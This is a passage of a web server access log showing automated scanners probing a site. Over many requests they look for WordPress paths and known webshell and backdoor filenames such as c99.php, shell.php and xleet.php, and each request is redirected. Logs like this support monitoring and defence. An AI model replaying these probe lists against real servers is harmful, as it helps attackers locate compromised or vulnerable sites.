HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:34 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:35 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:36 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:37 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:38 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:40 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:41 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:43 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:45 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:47 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:49 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:53 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:56 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:58 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:01 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:06 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 43.166.245.120 - - [21/Apr/2025:08:53:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.92.205 - - [21/Apr/2025:08:53:10 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:16 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:19 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:22 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:24 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:24 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:26 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:29 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:31 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:32 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:35 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:37 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:38 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:40 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:41 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:42 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:43 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:44 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:45 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:46 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:48 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:49 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:50 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:51 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:52 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:52 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:54 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:54 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:55 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:56 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:57 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:53:59 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:00 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:01 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:02 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:04 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:06 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:08 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:09 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:11 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:12 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:13 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:14 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:15 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:16 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:17 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:19 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:21 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:22 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:23 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:24 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:26 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:27 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:28 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:29 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:31 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:33 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:35 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:36 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:37 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:39 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:39 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:40 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:41 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:42 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:44 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:44 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:46 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:47 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:49 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:50 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:51 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:53 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:54 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:56 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:56 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:58 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:54:59 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:02 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:07 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:11 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:15 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:17 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:20 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:21 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:23 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:24 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:25 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:26 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:27 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:27 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:28 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:29 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:30 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:32 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:33 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:34 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:35 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:36 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:37 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:37 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:38 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:39 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:40 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:41 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:42 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:42 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:44 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:45 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:46 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:47 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:47 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:48 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:49 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:49 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:50 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:51 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:51 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:51 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:52 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:54 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:55 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:56 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:57 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:57 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:55:58 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:00 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:00 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:01 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:01 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:02 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:04 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:05 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:06 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:07 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:08 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:10 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:11 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:14 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:15 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:17 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:19 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:23 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:24 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:25 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:26 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:27 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:28 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:29 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:30 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:31 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:31 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:56:33 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 66.249.79.96 - - [21/Apr/2025:08:56:43 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.107 - - [21/Apr/2025:08:56:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 52.169.252.103 - - [21/Apr/2025:09:08:41 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:08:44 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:08:47 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:08:51 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:08:54 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:08:56 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:08:58 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:00 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:02 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:05 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:07 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:09 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:13 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:15 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:17 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:17 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:18 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:19 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:21 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:23 -0400] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:25 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:27 -0400] "GET /depotcv.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:28 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:31 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:33 -0400] "GET /disagraep.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:34 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:37 -0400] "GET /disagrsod.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:39 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:42 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:44 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:46 -0400] "GET /dxc.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:48 -0400] "GET /e69ovfsr.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:50 -0400] "GET /eNtnKM.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:53 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:56 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:09:58 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:01 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:04 -0400] "GET /essexec.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:09 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:14 -0400] "GET /exif.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:17 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:19 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:22 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:24 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:27 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:31 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:34 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:35 -0400] "GET /fied.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:37 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:41 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:43 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:46 -0400] "GET /fucixwya.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:48 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:49 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:51 -0400] "GET /fxcexgle.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:53 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.252.103 - - [21/Apr/2025:09:10:54 -0400] "GET 